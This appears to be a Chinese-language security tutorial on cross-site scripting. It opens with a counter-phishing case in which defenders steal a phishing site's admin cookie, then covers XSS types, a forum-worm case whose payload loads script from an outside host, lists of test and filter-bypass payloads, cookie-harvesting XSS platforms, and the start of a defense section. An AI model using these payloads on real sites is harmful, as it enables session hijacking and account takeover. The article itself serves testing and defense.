一、一次钓鱼攻击引发的反制

某日,安全团队收到监控预警,有外部人员使用钓鱼邮件对公司内部人员进行信息诈骗。安全团队立即开始分析事件进程。
攻击者以劳动补贴名义群发邮件,诱导内部员工扫描二维码,进而填写个人信息、银行卡等敏感内容。

安全团队立即开始对邮件进行溯源。
首先,扫描该二维码,跳转到钓鱼邮件域名为
https://4z3ichiecr.512kasmdkasijdiashdjdfdfpewkpxxxxxxxxxx.cn/okok168
ip地址为:
150.129.123.123(香港服务器)

经测试,该钓鱼邮件页面中前端页面存在跨站脚本攻击漏洞,利用该漏洞,安全团队进行反钓鱼试验。等待钓鱼平台管理人员上线。
经过一天的等待,终于有了突破,钓鱼平台人员上线,我方通过预埋的跨站脚本攻击漏洞获取了网站后台管理员账号cookie信息。顺利登录该后端平台。

登录后确认该平台为攻击来源,确认受害者信息、范围、金额,并锁定后台人员登录ip、身份等信息。完成溯源工作。为后续法律方面推进工作提供了有利支持。
上述钓鱼反制的关键角色,就是本文要讲述的主角:跨站脚本攻击漏洞

二、跨站脚本攻击漏洞原理(XSS)

2.1 漏洞原理

跨站脚本攻击(Cross Site Scripting,以下简称XSS)。
本应缩写为CSS,但由于CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。
XSS(跨站脚本攻击)是指攻击者在网页中嵌入客户端脚本(如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。

2.2 漏洞类型分类

XSS漏洞可分为三类。

  • 反射型XSS
    跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码一般不存储到服务端。
  • 存储型XSS
    这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)。用户每次访问相应的页面,客户端均会执行一次XSS攻击语句。属于危害较严重的漏洞。
  • DOM型XSS
    —种基于DOM的跨站,这是客户端脚本自身解析不正确导致的安全问题。DOM XSS 是由于浏览器解析机制导致的漏洞,服务器不参与,而存储型与反射型都需要服务器响应参与。

2.3 漏洞危害

XSS漏洞的危害不仅局限于弹窗这种骚扰方式,按危害发生位置来划分,可分为客户端、服务端两类。总结如下,

客户端危害:
  • 窃取cookie(包括ip、ua等)
  • 自动转发邮件
  • 放马(webshell)
  • 刷流量
服务端危害:
  • 劫持后台
  • 篡改页面
  • 蠕虫传播
  • 内网扫描

通过以下两个例子,说明XSS的危害性。

2.4 XSS漏洞案例

案例一、使用XSS漏洞成功登录某后台系统

某业务系统,机器人客服对话功能中,允许攻击者输入XSS攻击代码,如

系统后端管理人员,只要查看攻击者提交的对话内容,系统会自动执行xss攻击语句,获取事先定制的管理用户数据。
通过XSS后端打码平台(下文详述),获取后台用户cookie数据。效果如下。

攻击者可通过获取的cookie数据,以后台用户的身份成功登录系统后台并进行操作。

案例二、利用XSS组合漏洞对论坛进行蠕虫传播
  • 1、论坛发帖处,发现存储型XSS漏洞
    论坛发帖处,观察到可以大小写混淆绕过,于是构造payload(对于屏蔽括号的可以用 ’ 来代替)。
<sCript>alert`xss`</sCript>


可弹窗。

  • 2、XSS漏洞配合CSRF漏洞,实现自动发帖子
    CSRF(跨站请求伪造,后续系列文章中详述),是指通过伪装来自受信任用户的请求来利用受信任的网站。发帖处也存在该漏洞。构造发帖js,如下:

    然后利用XSS平台重新重新构造访问该js的攻击语句)。
<sCRiPt/SrV=//60.wf/ORxV>


普通用户浏览存在攻击语句的帖子,即会自动进行发帖。
以下为存在危害的帖子,普通用户完成浏览。

查看普通用户的发帖记录。已成功自动发帖。

  • 3、构建子帖结构,形成蠕虫攻击
    上述两步完成了自动发帖,要形成蠕虫攻击效果,只需要将子帖内容403重定向至母帖(最初攻击帖),访问母帖后自动创建新帖,子帖再转回母帖,完成攻击。
    关键payload:
<embed/src=/xxxxxx.com/web/normal/topic/806440>


三、检测方法

3.1 基础XSS弹窗检测

跨站脚本攻击XSS,应在信息系统建设阶段重点测试及修复。

漏洞检测需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用BurpSuite等抓包工具来获取请求后手工修改请求参数,然后重新提交到服务端来测试,因为XSS并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。

具体的测试对象可包括:页面输入处、url参数和http请求中的跨站脚本漏洞。
最常见的跨站脚本的方法,输入alert(1)以及它的各种变体:

<script>alert(document.cookie)</script><script>alert(1)</script><ScRipt>alert(1)</script> %3Cscript%3Ealert(1)%3C/script%3E<script x=1>alert(1)</script x=1><script>confirm(1)</script><svg/onload=alert`1`>"--><Svg/Onload=alert(1)> '";alert(1);x="'<img src=alert(1)><sc<script>ript>alert(/1/)</script> <javascript:alert(1)>;

变体XSS攻击语句,主要是针对服务端防护不全的场景。绕过XSS防护的方式包括:

1、html标签、JavaScript事件尝试;2、大小写绕过,如3、主动闭合标签实现注入代码 4、混淆,如<5、特殊字符转义Unicode或ascii、base64等的方式

例如,提交XSS攻击语句alert(document.cookie)后,页面弹出警告框,则该页面存在XSS漏洞。如下:

存储型跨站脚本攻击测试方法与反射型类似,区别在于存储型跨站脚本攻击的检测内容主要是Web应用程序向用户提供的可添加新内容并持久存储的Web表单。通过对每个可能存在攻击点的Web表单插入攻击字符串,进行检测。

3.2 XSS进阶利用——XSS打码平台

对于有经验的攻击者,通常使用XSS打码平台实施攻击。XSS平台,通常可以记录访问的url,访问时的cookie等。稍微复杂的功能,可能还会记录键盘输入,获取页面源码,截取网页屏幕等。
相应的功能可在平台进行定制,例如,

勾选相应模块后,系统会自动生成各种类型的攻击语句(结合上述绕过思路)。

攻击者将相应的语句嵌入被攻击平台,静等后台受害者上线即可。以下为攻击者成功获取用户信息的界面。

3.3 自动化漏洞检测方案

除了手工测试外,企业也可采用自动化漏洞扫描方案。

  • DAST黑盒扫描。动态应用安全测试,黑盒测试。可输入扫描目标,配置登录信息后,启动扫描XSS漏洞。如Xray、AWVS等。
  • IAST扫描。交互式应用程序安全测试。可在测试阶段,由测试人员执行,工具被动系统XSS漏洞。
  • SAST扫描。源代码扫描。白盒工具。从源码层面扫描不规范的写法,提示XSS漏洞风险。

四、防御措施

企业作为信息平台提供方,如何防御跨站脚本漏洞,可以从XSS漏洞的攻击流程入手。
完整的XSS攻击流程包括五步。攻击者发现XSS漏洞——构造攻击代码,植入功能点——被害人主动或被动访问功能——前端(浏览器)执行代码——获取受害人信息如cookie

从攻击流程判断,平台方可以从XSS攻击语句的输入、输出阶段进行介入,打断攻击流程,完成攻击防御。

跨站脚本攻击漏洞防御总体思路可总结为:输入过滤,输出编码

4.1 输入过滤(过滤器、黑名单、白名单)

4.1.1 事件标签过滤

XSS攻击语句多为HTML、JavaScript事件标签。可通过过滤标签的方式,破坏攻击者构造的攻击语句。

  • 过滤HTML标签或转义特殊字符
如过滤、等,将“”转义成“>”、“"”转义成“"”、“&”转义 成“&” 等。
  • 过滤JavaScript 事件的标签
如 "onclick=", "onfocus" 等。

总结常见HTML、JavaScript常见标签如下:

HTML5标签